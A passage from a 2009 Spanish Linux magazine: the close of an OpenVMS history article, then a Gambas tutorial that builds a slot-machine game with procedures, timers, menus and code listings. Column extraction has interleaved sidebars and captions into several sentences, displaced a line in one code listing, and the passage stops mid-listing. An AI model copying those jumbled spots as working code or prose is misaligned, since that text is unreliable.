live, o virtualizaciones mediante QEMU, como puede verse en la Figura 10. Una compañía como Compaq compra DEC en 1998 para fusionarse cuatro años más tarde con el gigante Hewlett-Packard. No obstante y para concluir este artículo, nada mejor que una anécdota, como la protagonizada por Dave Cutler, uno de los padres de VMS y posteriormente, uno de los ingenieros que lideraron el proyecto Windows New Technology, que condujo a MS Windows NT. El acrónimo WNT no es más que una transposición una letra hacia adelante de VMS, quizás para dar un gran paso hacia atrás en las prestaciones tecnológicas. Figura 12. HP OpenVMS Systems Documentation En la red • The Computer History Simulation Project (SIMH): http://simh.trailing-edge.com/ • OpenVMS Community Portal: http://www.openvms.org/ • HP OpenVMS Systems Documentation: http://h71000.www7.hp.com/doc/ index.html • Compaq OpenVMS Hobbyist portal: http://www.openvmshobbyist.com/ news.php • TUN/TAP Interfaces: http://tunctl.sourceforge.net Figura 13. Compaq OpenVMS Hobbyist portal www.lpmagazine.org 57 programación Curso de Programación en Gambas Creando un Juego en Gambas Jorge Emanuel Capurro [email protected] En esta entrega, nos propondremos a crear un juego en Gambas: el famoso JackPot o Tragamonedas. Estudiaremos la lógica de este juego, como así también los conceptos nuevos que necesitamos para poder desarrollarlo. Dejémonos un poco de hablar y... ¡comencemos a programar! G ambas nos provee muchas herramientas que a lo largo de este curso seguiremos estudiando. En particular, en esta entrega, aprenderemos el concepto de modularidad, mediante la creación de Procedimientos y Funciones, la creación de menús para nuestra aplicación, más funciones del lenguaje, como generar números aleatorios y finalmente, daremos una introducción al dibujo de primitivas. También, veremos las facilidades que nos provee Gambas para poder crear nuestra aplicación multiidioma. Empecemos... Concepto de Modularidad Cuando se desarrolla un programa de software de gran magnitud, éste se organiza de una manera y forma de que cada una de las partes pueda ser independiente, es decir, que tenga una funcionalidad única. En un ejemplo de la vida real, cuando se fabrica un automóvil, existen diversas partes que tienen una función específica, como lo es el motor, el chasis, el carburador, etc., todas estas partes, conforman a la pieza final. Estas partes, al ser independientes, cuando una de ellas falla, solamente hace falta cambiar o modificar la forma en que lo hace, sin afectar a las demás partes involucradas. Con 58 Linux+ 5/2009 Reinventar la Rueda... Este dicho popular en la jerga de los programadores, es utilizado cuando un programador vuelve a programar un módulo o una función que ya él (u otro programador) ha programado en el pasado. Esto comúnmente sucede al no estructurar los programas de una manera correcta, generando como consecuencia una reescritura de código de forma innecesaria. Otro factor que puede causar que se tenga que reinventar la rueda, sucede cuando el programador no es consciente o no conoce bien la totalidad de las funciones del lenguaje, lo cual desemboca en la reescritura de código innecesario. Por ejemplo, si un programador no conoce que existe una función llamada SUMA, que se encarga de sumar dos números, éste la tendrá que crear a su modo, por lo que estará reinventando la rueda. esta premisa, podemos decir entonces que los módulos son Autónomos, con el software pasa lo mismo. Cada una de de estas partes recibe el nombre de Módulos, los cuales cumplen una tarea específica, con el fin de poder ser reutilizado programación Curso de Programación en Gambas Divide y Vencerás El concepto de Modularidad está muy relacionado con el de “Divide y Vencerás”. Este concepto, fue presentado por primera vez por el escritor Nicolás Maquiavelo, autor de la celebre obra “El Príncipe”, en la cual explica que para poder dominar a todo un pueblo, nada mejor que generar discordia entre ellos, de forma que se separen en poblaciones más pequeñas y así, poder dominarlos más fácilmente. Este concepto explica de una forma muy clara lo que en la programación con la modularidad se pretende conseguir. Si prestamos suma atención a nuestros módulos, podemos concluir que cada uno de ellos es un Programa Independiente uno del otro, es decir, cada uno cumple con una función única. Entonces, ahora nuestro enunciado “complicado”, se ha transformado en tres enunciados sencillos, o técnicamente hablando, en tres módulos o programas sencillos, que actuarán en conjunto. Podemos ver una representación gráfica de la resolución de nuestro programa en la Figura 1. Dividiendo nuestros problemas: Procedimientos y Funciones Hasta aquí, ya hemos explicado el concepto de modularidad, y de como poder utilizarla. En este apartado, veremos cómo aplicarla en la práctica, más precisamente con Gambas y las subrutinas. Una subrutina es una porción de código que forma parte de un programa más grande. Llevando esto a la modularidad, las subrutinas vendrían a ser el componente esencial para poder modularizar nuestros programas. Éstas se dividen en dos categorías fundamentales: por distintos componentes del programa. El hecho de planificar un programa mediante la utilización de módulos pequeños que cumplan una tarea en particular y se involucren entre sí, recibe el nombre de Modularidad. Esta estructuración permite al desarrollador ser más claro a la hora de programar una aplicación y ganar mucho tiempo, ya que al poder reutilizar los módulos que ya ha desarrollado en otros programas nuevamente, no hace falta reescribir • código nuevamente, por lo que se evita lo que se conoce en la jerga como Reinventar la Rueda (ver Cuadro Reinventar la Rueda...). Como ejemplo de modularidad, podemos considerar como complicado el siguiente enunciado: Se pide al programador que genere una aplicación que informe los números primos exis- • tentes en el rango del número 0 hasta el número 30000. Este problema, podemos resolverlo de una forma modular: • • • Escribimos un módulo que calcule solamente un número primo, Escribimos un módulo, que se encargue de generar números del 0 al 30000, Escribimos un módulo que se encargue de mostrar un número en pantalla. En nuestro caso, será el número primo. Procedimientos: un procedimiento es una subrutina que se encarga de ejecutar su código fuente, pero que no retorna ningún valor en particular. Es decir, ésta puede recibir valores, trabajar con ellos, pero no puede retornar los valores a otro programa u otra subrutina. Funciones: las funciones son prácticamente iguales a los procedimientos, salvo una diferencia sustancial: las funciones pueden retornar valores. Por ejemplo, si necesitamos una subrutina que calcule la suma entre dos números y necesitamos que el resultado sea tomado por otro programa, entonces nos valdremos de las funciones. Figura 2. Imagen que servirá de fondo para el juego de Tragamonedas La sintaxis para declarar un Procedimiento es la siguiente: (PUBLIC | PRIVATE) SUB NombreProcedimiento [V1 AS TipoVariable, V2 AS TipoVariable...] END Como vemos, un procedimiento puede tener un ámbito público o privado. V1 y V2 son variables que, opcionalmente, pueden recibir o no un procedimiento para trabajar con ellas, y van precedidas del tipo de dato de cada una (Integer, Byte, Long, String, etc.). Estos parámetros no solo pueden ser variables, sino que un control (Label, Form, TextBox, etc.) en particular. Un ejemplo de declaración de un procedimiento llamado MuestraDatos que recibe el nombre y la edad de una persona, puede ser: PUBLIC SUB MuestraDatos (Nombre AS String, Edad AS Integer) ... Código Fuente del Procedimiento Tanto los procedimientos como las funciones, ... estarán dotadas de un nombre único e irrepeti- END ble que obviamente, tampoco sea una palabra reservada del lenguaje. Figura 1. Resolución modular de nuestro problema. Podemos observar los tres programas independientes interactuando www.lpmagazine.org Figura 3. Interfaz gráfica final de nuestro Tragamonedas 59 programación Curso de Programación en Gambas Prácticamente, la sintaxis de un procedimiento con el de una función es parecida, con la salvedad que en la función se debe especificar el tipo de dato que ésta retornará. Por ejemplo, si la función se encarga de multiplicar dos números enteros y retornar su resultado, el TipoDatoDeRetorno será Integer. La GUI del JackPot ¿Números Aleatorios? Un número aleatorio es un resultado de una variable al azar especificada por una función de distribución. En las computadoras es imposible generar números aleatorios por las estructuras que éstas poseen, pero sí es fácil simular la generación de números aleatorios, mediante mecanismos de generación de números Pseudoaleatorios, que, sin ser aleatorios lo aparentan. Es decir, una computadora no genera realmente números aleatorios, sino que, en realidad, almacena una lista gigante de números en orden aleatorio. Al principio de un ciclo de elección de un número aleatorio, el software lo que realmente hace es seleccionar un lugar de la lista. Luego de esto, va utilizando los números de la lista en orden consecutivo. Dejaremos un poco de lado los conceptos de modularidad y el uso de procedimientos y funFigura 4. Ventana para agregar un nuevo Compociones, que veremos de forma práctica en nuestro nente a nuestra aplicación juego, para poder concentrarnos en el diseño de La sintaxis para declarar una Función es la la interfaz gráfica de usuario para nuestro JackPot siguiente: o Tragamonedas. Usando un poco nuestra imaginación, podemos crear un dibujo de una máquina (PUBLIC | PRIVATE) FUNCTION tragamonedas para el fondo de nuestro formuNombreFuncion lario, haciendo uso de programas como GIMP [V1 AS TipoVariable, o alguno más sencillo, como puede ser el InksV2 AS TipoVariable...] cape o el famoso KolourPaint. El diseño de la AS TipoDatoDeRetorno máquina tragamonedas que yo he realizado ha ... Código Fuente del Procedimiento quedado como se ilustra en la Figura 2. Este dise- ción final. Hay que tener especialmente cuidado ... ño está hecho con Inkscape, y si bien es un diseño en calcular bien los recuadros del dibujo, si es que END muy sencillo, le dará otro aspecto a nuestra aplica- queremos poner controles sobre él. No es condición necesaria para la programación del juego que el lector sepa utilizar herramientas de dibujo. Si el lector desea, puede diseñar la interfaz gráfica a su manera. Nota: Se asume que el lector tiene manejo de los controles explicados en entregas anteriores en este curso, por lo que solamente se darán las propiedades elementales de ellos y de los controles nuevos. Para poder colocar una imagen de fondo a nuestro formulario, esta imagen debe estar guardada en el mismo directorio donde se almacena nuestro proyecto. Una vez allí, colocamos un control PictureBox a nuestro formulario y mediante la propiedad Picture, seleccionamos nuestra imagen. Una vez adaptada a nuestro formulario, colocamos los controles correspondientes. Nos debería quedar una interfaz gráfica parecida a la que se muestra en la Figura 3. A continuación, se listan las propiedades de los controles utilizados: • • • Se le deja al lector la tarea de adaptar el tamaño de los controles según sus necesidades, como así también, elegir el color de los labels, etc. El control LCDNumber no se encuentra en los componentes que Gambas nos provee como Default, por lo que tendremos que añadirlo a nuestro repositorio de la siguiente manera. Dentro del IDE de Gambas, nos dirigimos al menú Proyecto –> Figura 5. Estructura de tipo Árbol que conforman una barra de menú Figura 6. Ubicación del Editor de Menú 60 Tabla 1 : Propiedades de los Controles Label. Tabla 2 : Propiedades de los Controles Timer. Tabla 3: Propiedades de los Controles Restantes. Linux+ 5/2009 programación Curso de Programación en Gambas Figura 7. Estructura de Menú del juego Tragamonedas Propiedades, y por último, a la pestaña Componentes. Una vez allí (ver Figura 4), tildamos en el componente gb.qt.ext. Veremos que se nos despliega un cuadro informándonos de los autores de ese componente, los otros componentes que requiere para poder utilizarlo, como así también, los controles que este componente tiene. Luego confirmamos presionando el botón Ok. Como podemos ver, este componente solamente está disponible para las librerías QT, y es por ello que solamente podremos agregarlo en los programas que utilicen esta librería. Creando menús para nuestra aplicación una estructura de tipo Árbol, con su tronco principal conteniendo a otras troncales relacionadas. Gambas diseña sus menús de la misma forma que se muestra en la Figura 5, confeccionando el menú en forma de Árbol. Para poder acceder al Editor de Menú, nos dirigimos al icono que se encuentra en la barra de herramientas del formulario FMain, tal cual como se muestra en la Figura 6. Una vez dentro del Editor de Menú, es muy intuitivo utilizarlo. Cada vez que queramos insertar un menú o un submenú, hacemos clic en el botón Insertar. Luego, tenemos la posibilidad mediante las flechas de dirección, de generar la estructura de tipo Árbol con la cual se conforman los menús. Por convención, los menús empiezan con el prefijo mnu, para identificarlos dentro del código fuente. Las únicas propiedades que no se pueden obviar para crear el menú son las propiedades Nombre y Título. Si a la propiedad Nombre le agregamos un símbolo & delante, cuando estemos ejecutando el programa podremos abrir el menú presionando la tecla Alt más la primer letra del nombre del menú, por ejemplo para abrir el menú &Archivo, presionaríamos [Alt] + [A]. También podemos dividir los subgrupos mediante separadores. Para incluir un separador, dejamos la propiedad Título en blanco. Como podemos ver, también se pueden insertar imágenes de manera muy sencilla, que identifiquen la acción de nuestro menú. En la Figura 7 se deja la estructura de menú de nuestro tragamonedas. Se deja al lector como tarea construirla, como así también si lo desea, modificarla a su gusto. * 2, es decir, se le sumará a su dinero $20. Como podemos observar, la única forma de que ganemos es sacando tres números iguales. La probabilidad de que ganemos está condicionada según la cantidad de números que contenga el rango a designar para que se generen los números aleatorios. Por ejemplo, si nuestro rango es de 0-9, va a resultar mucho más difícil ganar que si nuestro rango generación de números es de 0-3, ya que habrá menos números que pueden salir elegidos. ¡A Trabajar! Comencemos a programar nuestro juego. Como siempre, declararemos las variables necesarias para almacenar los datos del juego. En nuestro caso, tendremos que declarar tres variables a las que llamaremos Dinero y Apuesta, de tipo Integer y HorarioActual, de tipo Date. La función de la variable HorarioActual se explicará más adelante. Ahora, crearemos algunos Procedimientos y Funciones que nos serán útiles a lo largo del programa. La primera Función que crearemos será la llamada DameNumeroAleatorio, que será la encargada de retornar un número aleatorio según el rango que le especifiquemos. Para crear esta Función, la tenemos que escribir en la sección Declaraciones de nuestro FMain, que es en el mismo lugar donde se declararon las variables. El Listado 1 muestra cómo se codifica esta función. Analicemos esta Función. Primero, declaramos una variable local a la que llamamos “Numero”, que es del tipo byte, ya que almacenará un número del 0-6, que es el rango que yo elegí para la generación de los números aleatorios. Luego, invocamos a la función RANDOMIZE, que se encarga de mezclar los números que serán geLas Reglas del Juego nerados por la función RND (ver cuadro ¿NúmeAntes de empezar a programar el juego, tenemos ros Aleatorios?). La función RND, se encarga de que tener bien en cuenta las reglas de jugada, que generar números aleatorios o al azar (RaNDom), son muy sencillas: según los parámetros que se le especifique, en nuestro caso, le pasamos 0 (cero) como límite • Si el Jugador apuesta X dinero y saca tres números iguales, el jugador gana X * 2, de lo contrario el monto apostado se lo queda la máquina tragamonedas Los menús son elementos muy importantes en las aplicaciones gráficas, ya que conforman una estructura organizada donde el usuario puede encontrar lo que busca de una manera rápida y sencilla. Gambas posee un editor de menú, que es de uso extremadamente fácil, pero para poder manejarlo sin ningún inconveniente y confusión, pasemos a ver como está estructurado un menú de aplicación. Las barras de menú están conformadas por una troncal principal, que son los componentes que se encargan de agrupar a un subgrupo relacionado. Por ejemplo en un editor de texto, podemos tener un menú que contenga como troncal principal al menú Edición, y como subgrupo a Copiar, Cortar y Pegar, que están íntimamente relacionados con la edición de un texto en particular. En la Figura 5, podemos observar a los troncales principales Menú A, Menú B y Menú C, con sus subgrupos. Vemos también Por ejemplo, si el jugador apuesta $10 y saca tres como una barra de menú forma lo que se llama números iguales (ej. 3 3 3) el jugador ganará $10 Figura 9. Nuestro juego de Tragamonedas funcionando Figura 8. Esquema de la Animación del juego Tragamonedas www.lpmagazine.org 61 programación Curso de Programación en Gambas Tabla 1. Propiedades de los 6 controles Labels necesarios para la interfaz principal Propiedades de los Controles Labels Name Text Transparent lblNumA "1" TRUE lblNumB "1" TRUE lblNumC "1" TRUE lblMontoApostar "Monto a Apostar" TRUE lblSigno "$" TRUE lblTitulo "$ $ DINERO $ $" TRUE Tabla 2. Propiedades de los 4 controles Timers necesarios para la interfaz principal Propiedades de los Controles Timer Name Delay Enabled tmrAnimaA 20 FALSE tmrAnimaB 20 FALSE tmrAnimaC 20 FALSE tmrAnimaTitulo 800 TRUE Tabla 3. Propiedades de los controles restantes necesarios para la interfaz principal Propiedades de los Controles Restantes Control Text MaxValue Value Button "¡JUGAR!" - - SpinButton - 10000 - LCDNumber - - 0 Tabla 4. Métodos más importantes para el dibujo de Primitivas Propiedades y Métodes para el Dibujo de Primitivas Clase Nombre Descripcion Draw Begin Asocia el DrawingArea con la clase Draw Draw End Finaliza o Cierra la asociación del DrawingArea con la clase Draw Draw Ellipse Permite dibujar Elipses sobre la pantalla Draw Line Permite dibujar Lineas sobre la pantalla Draw Point Permite dibujar puntos sobre la pantalla Draw Polyline Permite dibujar Lineas enlazadas sobre la pantalla Draw Polygon Permite dibujar Poligonos sobre la pantalla Draw Rect Permite dibujar Ractángulos sobre la pantalla Draw Text Permite escribir texto Draw Font Permite seleccionar una Fuente para utilizar con Draw.Text Draw Background Color de fondo del Pincel (Ver clase Color) Draw ForeGround Color de primer plano del pincel (Ver clase Color) Draw FillColor Color para el relleno de Elipses o Rectángulos (Ver clase Color) Draw FillStyle Seleccionar el patrón del dibujo, como solido, rayado, etc (Ver clase Fill) Draw Refresh Refresca la Imagen en la Pantalla inferior y 6 (seis) como límite superior, es decir, esta función solamente nos podrá retornar los números 0,1,2,3,4,5,6. El número que nos retorne, se almacenará en la variable Numero, y luego es retornado por la función mediante la sentencia RETURN. Podemos observar en el prototipo de la función, el valor de retorno que devuelve, que se especifica del tipo byte, tal cual como lo hicimos (PRIVATE FUNCTION DameNumeroAleatorio() AS Byte). 62 Ahora codificaremos un Procedimiento que se llama HabilitaControles que le pasaremos un valor de TRUE o FALSE, y según el valor especificado, se habilitarán o se deshabilitarán los controles contenidos en él. Este Procedimiento será invocado cuando el jugador presione el botón Jugar, pasándole el valor FALSE para que los controles queden inutilizados. Para comprender mejor el uso de este procedimiento, imaginemos la siguiente escena: Linux+ 5/2009 Un jugador apuesta $5 y presiona el botón Jugar, y contempla que los primeros dos números que han salido son el 5, por lo que si sale un número 5 nuevamente, gana el pozo. El jugador al ser tan observador, se aprovecha de que el control que se encarga de almacenar el monto de la apuesta está deshabilitado, por lo que se aprovecha de la situación aumentando el monto apostado a $80. Aquí, podemos concluir que si los dos primeros números que han salido son el número 5, la probabilidad de ganar es mayor a la que teníamos cuando habíamos empezado a jugar y todavía no había salido ningún número. Este tipo de errores tiene que ser contemplado por el programador, ya que son un error de lógica bastante grave y permiten que el juego sea alterado. Imagine que esto sucediera en un casino de verdad... tendría que dar muchas explicaciones... Mejor, pasemos a programar el procedimiento, tal como se muestra en el Listado 2. Como podemos observar, el procedimiento recibe en una variable llamada Valor, un valor del tipo boolean, es decir TRUE o FALSE. Simplemente lo que hacemos es asignar el contenido de Valor a los controles que serán habilitados/deshabilitados, mediante la propiedad Enabled. Obviamente, uno de esos controles es el que controla el monto de la apuesta (spbApuesta). El procedimiento que se muestra en el Listado 3, se encarga de generar un “Color Aleatorio”. Este procedimiento lo utilizaremos para darle al lblTitulo un efecto de que cambia de color cada un cierto intervalo de tiempo. Como se entiende, se genera un número aleatorio entre 0 y 3, que se almacena en la variable NumeroColor, y luego dependiendo del número que haya sido retornado, se colorea al lblTitulo mediante la propiedad ForeColor, indicando qué color asignarle mediante la sentencia Color. NombreDeColor. Este procedimiento, al igual que los otros, es reutilizable ya que si observamos el tipo de variable que recibe, veremos que es del tipo Label. Esto significa que el efecto que se crea en ColorTitulo es aplicable a cualquier control label que se le pase como parámetro, y no sólo funciona con lblTitulo. El último Procedimiento que crearemos será el encargado de comprobar si el jugador ha ganado o no, y de ser así, asignarle (si corresponde) el monto que ganó. A este procedimiento lo llamaremos VerificaGanador, pero antes de codificarlo pasaré a explicar cómo crear un módulo. Los módulos, son archivos neutrales que no están especificados ni relacionados directamente con un formulario en particular. Por programación Curso de Programación en Gambas ejemplo, dentro de los módulos podemos crear procedimientos y funciones que serán utilizados en otros Forms. En nuestro caso, no fue necesario, pero sí se puede hacer. Nosotros lo utilizaremos para crear variables que se puedan utilizar y asignar en distintos formularios. Cuando nosotros declaramos variables en la sección Declaraciones de nuestro FMain, estas variables solamente se pueden utilizar dentro de FMain, y no en otros formularios, pues son locales del formulario. Al declarar una variable dentro de un módulo, ésta se podrá utilizar en cualquier formulario, siempre y cuando cumpla con la condición de que sea PUBLIC, ya que si no lo es, sólo se podrá utilizar dentro del módulo y en ninguna parte más. Para crear un módulo, se hace prácticamente igual que al crear un nuevo formulario. Nos dirigimos al Explorador de Proyecto, y hacemos clic derecho sobre la carpeta Módulos y elegimos Nuevo–>Módulo. Le ponemos el nombre modVarios y confirmamos. Dentro del módulo, codificamos las variables y procedimientos que se encuentran en el Listado 4. Estas variables serán utilizadas para tener una estadística acerca de la plata y partidas del jugador, tanto las ganadas como las perdidas. El procedimiento Salir, se encarga de preguntarle al usuario si desea realmente salir del tragamonedas, y de ser así, se cierra el programa. Este tipo de procedimiento es sumamente útil a la hora de evitar tener que reescribir código, ya que si no lo declararámos en un módulo, tendríamos que reescribirlo en cada uno de los formularios que necesitemos utilizarlo. Ahora sigamos con la codificación de nuestro último procedimiento, el VerificaGanador. Su lógica es muy básica y puede apreciarse en el Listado 5. En primera instancia, verificamos si los números contenidos en los labels son iguales, y de ser así, el jugador ha ganado, y procedemos a duplicarle el monto de lo apostado para luego asignarlo a la variable Dinero. Como podemos ver, cuando queremos acceder a una variable que se encuentra dentro de un módulo, lo hacemos mediante nombreDeModulo.Variable. En este caso, tuvimos que acceder a las variables modVarios.CantPartGanadas y modVarios TotalPlataGanada para almacenar los valores que nos servirán más tarde a modo de estadística. Cuando empezamos un juego, tendremos que asignarle al jugador un monto predeterminado para que pueda jugar. Este monto será de $100, y se le asignará a la variable “Dinero” cuando empiece el programa, como así también se mostrará el valor en el lcdDinero. Es por ello que el evento Open del FMain, quedaría tal cual como se muestra en el Listado 6, inicializando también otras variables utilizadas. Cuando el jugador modifica en el control SpinButtom, llamado spbApuesta, el valor a apostar, se dispara automáticamente el evento Change, que es el encargado de detectar cuando se ha cambiado el valor numérico que almacena el SpinButton. Nos valdremos de él para codificar y asignar a las variables correspondientes el valor de la apuesta. Analicemos el Listado 7. Este código funciona a modo de validación. Cada vez que el jugador quiere apostar más plata de la que realmente posee, se dispara la función Message indicándole que ese es el monto máximo para apostar, y posteriormente se Listado 1. Función DameNumeroAleatorio PRIVATE FUNCTION DameNumeroAleatorio() AS Byte DIM Numero AS Byte RANDOMIZE Numero = CInt(Rnd(0, 6)) RETURN Numero END Listado 2. Procedimiento HabilitaJuego PRIVATE SUB HabilitaJuego(Valor AS Boolean) spbApuesta.Enabled = Valor btnJugar.Enabled = Valor END Listado 3. Procedimiento ColorTitulo PRIVATE SUB ColorTitulo(ControlLabel AS Label) DIM NumeroColor AS Byte RANDOMIZE NumeroColor = Rnd(1, 3) SELECT CASE NumeroColor CASE 1 ControlLabel.ForeColor = Color.Green CASE 2 ControlLabel.ForeColor = Color.DarkGreen CASE 3 ControlLabel.ForeColor = Color.Black END SELECT END Listado 4. Contenido del módulo modVarios ' Gambas module file PUBLIC TotalPlataGanada AS Integer PUBLIC TotalPlataPerdida AS Integer PUBLIC CantPartGanadas AS Integer PUBLIC CantPartPerdidas AS Integer PUBLIC SUB Salir(Control AS Form) IF Message.Question("¿Desea salir Control.Close de Tragamonedas?", "Si", "No") = 1 THEN Control.Delete END IF END www.lpmagazine.org 63 programación Curso de Programación en Gambas Listado 5. Procedimiento VerificaGanador PRIVATE SUB VerificaGanador() IF lblNumA.Caption = lblNumB.Caption AND lblNumB.Caption = lblNumC.Caption THEN Apuesta = Apuesta * 2 Message.Info("¡Felicitaciones, has Ganado $" & Apuesta & "!") Dinero = Dinero + Apuesta modVarios.TotalPlataGanada = modVarios.TotalPlataGanada + Apuesta ELSE Message.Info("¡Mala Suerte! Has perdido $" & spbApuesta.Value) INC modVarios.CantPartPerdidas modVarios.TotalPlataPerdida = modVarios.TotalPlataPerdida + Apuesta ENDIF END Listado 6. Evento Open del FMain, inicializando los valores de las variables PUBLIC SUB Form_Open() Fmain.Center Dinero = 100 lcdDinero.Value = 100 Apuesta = 0 END Listado 7. Evento Change del spbApuesta PUBLIC SUB spbApuesta_Change() IF spbApuesta.Value > Dinero THEN Message.Info("¡Has llegado al Monto Maximo de Apuesta!") spbApuesta.Value = Dinero ENDIF END le asigna a la propiedad Values de spbApuesta el valor que contiene la variable Dinero. Una vez hecha la apuesta, el jugador hará clic sobre el botón btnJugar, que es el que codificaremos a continuación, como se muestra en el Listado 8. Este código en primera instancia verifica que la apuesta que realizó el jugador sea válida, y de no ser así, sale del evento mediante RETURN, al igual que se utiliza en las Funciones, con la salvedad de que aquí no se retorna ningún valor en particular, simplemente se sale del evento. Luego, se asigna el valor que contiene spbApuesta a la variable Apuesta, y la variable HorarioActual se le asigna la hora en que el jugador hizo clic sobre el botón btnJugar. Esta variable será utilizada para comparar y verificar el tiempo que realizará la animación del tragamonedas, que la codificaremos en los timers correspondientes. Luego, se le resta al jugador 64 el dinero apostado y se refresca el nuevo valor en el lcdDinero. Por último, deshabilitamos los controles correspondientes llamando al procedimiento HabilitaControles, pasándole un Figura 10. Formulario FEstadisticas Linux+ 5/2009 valor FALSE y acto seguido habilitamos los tres controles Timers para que hagan su labor, la cual explicaremos a continuación. Como habrán visto en los casinos o en la televisión, las máquinas de tragamonedas tiene una particularidad. Cuando el jugador tira de la palanca, empieza una especie de animación la cual pasan los números o las imágenes de manera rápida, y luego se detiene la primera imagen, luego la segunda y por último la tercera. Nosotros trataremos de simular el mismo efecto, pero programándolo mediante Gambas y el uso de controles Timers. Cada control Timer, tiene asignado un rango de tiempo en el cual funcionará, y se comparará con la hora en la cual se ha iniciado el juego, que está almacenada en la tan misteriosa variable HoraActual. Cuando se inicien los Timers, estos estarán comprobando constantemente que su rango de tiempo no haya caducado, pero de ser así, se deshabilitarán y quedarán con el número que tenían almacenado en ese instante de tiempo. Para simular la animación de las máquinas tragamonedas, los Timers tendrán diferente tiempo asignado, y cada uno se detendrá 1 segundo después que el otro, pero siempre comparándose con el HorarioActual. Para comprender mejor este funcionamiento, echemos un vistazo a la Figura 8. En primera instancia, nuestro jugador presiona el botón ¡Jugar!, se disparan los tres controles Timers, entre otras cosas. Luego que pasan 2 segundos, el control tmrAnimaA se detiene, y queda con el número 1 almacenado. Un segundo más tarde, es decir en el segundo número 3, el control tmrAnimaB se detiene, y también queda con el número 1 almacenado. Por último, vuelve a pasar 1 segundo más, el segundo número 4, y se detiene el tmrAnimaC, que por ser el último, llama al procedimiento VerificaGanador(), que ya sabemos lo que hace. Ahora bien, terminada la explicación. Si no se ha comprendido de manera total, tal vez programación Curso de Programación en Gambas observando el código fuente se nos haga más fácil. Por cuestiones de simplicidad y para poder analizarlos mejor, se ha puesto el código fuente de los tres controles Timers dentro del Listado 9. Podemos ver que el funcionamiento de todos los timers son iguales, a excepción del tmrAnimaC, que cuando termina su labor, se encarga de llamar al procedimiento VerificaGanador y de volver a habilitar los controles para que el jugador pueda iniciar una nueva partida. Para poder calcular el tiempo entre que se inició el juego y el tiempo en que transcurre la animación, se hace uso de la función DateDiff, que recibe dos valores del tipo Date como argumentos, y retorna la diferencia de tiempo según es especificada en el tercer parámetro, en nuestro caso gb.secord, es decir, queríamos que nos retornara la diferencia de tiempo entre esas fechas expresada en segundos. Se deja como tarea al lector ir variando el valor del tiempo de actividad de los Timers, con la finalidad de alterar los tiempos de la animación. Para finalizar el funcionamiento de nuestro juego, simplemente nos queda codificar el tmrAnimaTitulo, que se encargará de llamar al procedimiento ya codificado ColorTitulo, tal como se muestra en el Listado 10. En la Figura 9, podemos ver un ejemplo del funcionamiento de nuestro juego. En las siguientes secciones, le añadiremos funcionalidades a nuestro tragamonedas... Dándole vida a los menús En esta sección, nos encargaremos de codificar las acciones de los menús. En una aplicación convencional, las opciones de los menús también se encuentran, por ejemplo, dentro del formulario principal o almacenados en una barra de herramientas. Este caso no escapa a esa situación. Los componentes que conforman nuestro menú ya están codificados, con la salvedad de, por ejemplo, el formulario de estadísticas y el de modificación de nivel de dificultad. Para programar las acciones nos dirigimos a nuestro menú, tal cual como lo haríamos si la aplicación estuviese corriendo, y hacemos clic sobre el componente a codificar. Por ejemplo, seleccionamos Archivo–>Jugar. Una vez hecho clic, Gambas automáticamente nos dirige al editor de código fuente, donde nos encargaremos de llamar al evento clic del btnJugar de la siguiente manera: btnJugar_Click ¡Y listo! Ya tenemos la acción que se realizará cuando el jugador haga clic en ese menú. Sencillo, ¿verdad? Entonces, se le deja al lector como tarea codificar los menús restantes. Dicen las Estadísticas... Todo jugador tiene un gran interés sobre la cantidad de dinero que va ganando y/o perdiendo. Es por ello, que nuestra aplicación le proveerá al usuario el ver estadísticas sobre los juegos que ha realizado. Para ello, insertamos un Listado 8. Codificación del Botón btnJugar, encargado de iniciar el juego PUBLIC SUB btnJugar_Click() IF spbApuesta.Value = 0 THEN Message.Error("¡Hey! Debes Apostar..") RETURN ELSE IF spbApuesta.Value > Dinero THEN Message.Info("¡No tienes suficiente dinero para realizar esa apuesta!") RETURN ENDIF Apuesta = spbApuesta.Value HorarioActual = Now Dinero = Dinero – spbApuesta.Value lcdDinero.Value = Dinero HabilitaJuego(FALSE) tmrAnimaA.Enabled = TRUE tmrAnimaB.Enabled = TRUE tmrAnimaC.Enabled = TRUE END Listado 9. Codificación de los controles tmrAnimaA, tmrAnimaB y AnimaC PUBLIC SUB tmrAnimaA_Timer() lblNumA.Caption = DameNumeroAleatorio() IF DateDiff(HorarioActual, Now, gb.Second) > 2 THEN tmrAnimaA.Stop ENDIF END PUBLIC SUB tmrAnimaB_Timer() lblNumB.Caption = DameNumeroAleatorio() IF DateDiff(HorarioActual, Now, gb.Second) > 3 THEN tmrAnimaB.Stop tmrAnimaB.Enabled = FALSE ENDIF END PUBLIC SUB tmrAnimaC_Timer() lblNumC.Caption = DameNumeroAleatorio() IF DateDiff(HorarioActual, Now, gb.Second) > 4 THEN tmrAnimaC.Stop tmrAnimaC.Enabled = FALSE VerificaGanador() HabilitaJuego(TRUE) ENDIF END Figura 11. Resultado de Ejecutar el Listado 12 www.lpmagazine.org 65 programación Curso de Programación en Gambas nuevo formulario llamado FEstadisticas, el cual contendrá seis controles Labels, encargados de informarle al usuario los datos correspondientes. También, insertaremos un control DrawingArea, que contendrá un dibujo que los lectores crearán, valiéndose de la sección Introducción al Dibujo de Primitivas. El control DrawingArea hace de una especie de hoja en el formulario, que solamente sobre ella podremos dibujar. El formulario resultante puede ser similar al que se muestra en la Figura 10. Podemos recordar que anteriormente declaramos en el módulo modVarios, cuatro variables llamadas TotalPlataGanada, TotalPlataPerdida, CantPartGanadas, CantPartPerdidas. Como sabemos, estas variables almacenan los valores que el jugador tanto ansía saber. El codigo fuente de este formulario, se encuentra en el Listado 11. No hace falta explicar el funcionamiento de este formulario, pero sí vale la pena aclarar dos puntos importantes y nuevos. Como podemos ver, Gambas soporta Listado 10. Llamada al procedimiento ColorTitulo, desde el control tmrAnimaTitulo PUBLIC SUB tmrAnimaTitulo_Timer() ColorTitulo(lblTitulo) END Listado 11. Codificación completa del formulario FEstadisticas DIM TotalPartidas AS Integer = modVarios.CantPartGanadas + modVarios.CantPartPerdidas stadisticas.ShowModal WITH modVarios lblPlataGanada.Caption = "Plata Ganada: $" & .TotalPlataGanada lblPlataPerdida.Caption = "Plata Perdida: $" & .TotalPlataPerdida lblCantPartGanadas.Caption = "Cant Partidas Ganadas: " & .CantPartGanadas lblCantPartPerdidas.Caption = "Cant Partidas Perdidas: " & .CantPartPerdidas END WITH lblCantPartJugadas.Caption = "Cant Partidas Jugadas: " & TotalPartidas Listado 12. Ejemplo de Dibujo de Primitivas DIM Contador AS Integer 'Enlazamos el DrawingArea con la clase Draw Draw.Begin(DrawingArea1) RANDOMIZE 'Elegimos el Color 